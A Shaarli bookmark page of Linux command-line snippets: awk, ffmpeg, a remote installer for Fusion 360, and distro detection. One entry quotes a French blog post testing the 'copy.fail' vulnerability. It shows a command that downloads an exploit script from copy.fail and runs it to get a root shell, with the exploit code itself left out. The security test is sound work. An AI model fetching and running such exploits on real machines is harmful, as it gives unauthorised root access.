• 6TM
  • My links
  • Tags
  • pics
  • RSS
  • Login
Filter untagged links
5 results tagged GNU/Linux

bash - Awk replace string in line - Stack Overflowhttps://stackoverflow.com/questions/39275121/awk-replace-string-in-line

  • awk
  • TIL
  • tip
  • GNU/Linux
  • OPS
  • awk
  • TIL
  • tip
  • GNU/Linux
  • OPS

awk '{sub(/are hello/,"are are")sub(/you hello/,"you you")}1' file

/foo/bar/how /SOME_TEXT_HERE/hello
/foo/bar/are are/SOME_OTHER_TEXT
/foo/bar/you you

Permalink
May 26, 2026 at 7:54:50 PM GMT+2
QRCode
archive.org

Convert multiple jpg images to mp4 video with ffmpeg commandhttps://sh.6tm.es/shaare/4qW72w

  • TIL
  • GNU/Linux
  • Tip
  • Media
  • Cli
  • OPS
  • TIL
  • GNU/Linux
  • Tip
  • Media
  • Cli
  • OPS

  • input.txt
    file 'photo1.jpg'
    file 'photo2.jpg'
    file 'photo3.jpg'
  • with 3 seconds of duration
    ffmpeg -f concat -safe 0 -r 1 -i input.txt -c:v libx264 -r 30 -pix_fmt yuv420p output.mp4
Permalink
May 17, 2026 at 10:47:38 AM GMT+2
QRCode
archive.org

Blog Stéphane Bortzmeyer: Test de copy.fail et d'un contournementhttps://www.bortzmeyer.org/copyfail.html

  • GNU/Linux
  • Secops
  • CVE
  • GNU/Linux
  • Secops
  • CVE

toto@s55486:~$ curl https://copy.fail/exp > copyfail
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   3458      0 --:--:-- --:--:-- --:--:--  3448

toto@s55486:~$ more copyfail 
#!/usr/bin/env python3
…

On l'examine mais, de toute façon, il est peu compréhensible. On le fait tourner (et je me répète, ne faites pas ça sur une machine de production !!!) :

toto@s55486:~$ python3 copyfail
# id
uid=0(root) gid=1000(toto) groups=1000(toto),100(users)

toto@s55486:~$ su
# 

Et voilà, on est root.

Permalink
May 4, 2026 at 9:02:02 PM GMT+2
QRCode
archive.org

cryinkfly/Autodesk-Fusion-360-on-Linux: This is a project, where I give you a way to use Autodesk Fusion 360 on Linux! - Codeberg.orghttps://codeberg.org/cryinkfly/Autodesk-Fusion-360-on-Linux

  • 3DPrint
  • Fusion360
  • Install
  • GNU/Linux
  • 3DPrint
  • Fusion360
  • Install
  • GNU/Linux

curl -L https://codeberg.org/cryinkfly/Autodesk-Fusion-360-on-Linux/raw/branch/main/files/setup/autodesk_fusion_installer_x86-64.sh -o "autodesk_fusion_installer_x86-64.sh" && chmod +x autodesk_fusion_installer_x86-64.sh && ./autodesk_fusion_installer_x86-64.sh --install --default

Permalink
April 15, 2026 at 2:46:15 PM GMT+2
QRCode
archive.org

Get Linux Distribution from commandlinehttps://sh.6tm.es/shaare/lYQT5g

  • Snippet
  • GNU/Linux
  • Distribution
  • Snippet
  • GNU/Linux
  • Distribution

[[ $(uname -s) = Linux ]] && awk -F'=' '/^ID/ {last = $2} END {if (last != "") print last}' /etc/*release || echo "It's not a Linux Distribution"

Get only last result from awk because for Archlinux, release file has two ID fields (ID and ID_LIKE).

Permalink
December 22, 2025 at 9:34:12 AM GMT+1
QRCode
archive.org
Links per page
  • 20
  • 50
  • 100
Shaarli 96 shaares · Shaarli · The personal, minimalist, super fast, database-free, bookmarking service by the Shaarli community · Documentation · Theme : Stack · Font : DINish
Fold Fold all Expand Expand all Are you sure you want to delete this link? Are you sure you want to delete this tag? The personal, minimalist, super-fast, database free, bookmarking service by the Shaarli community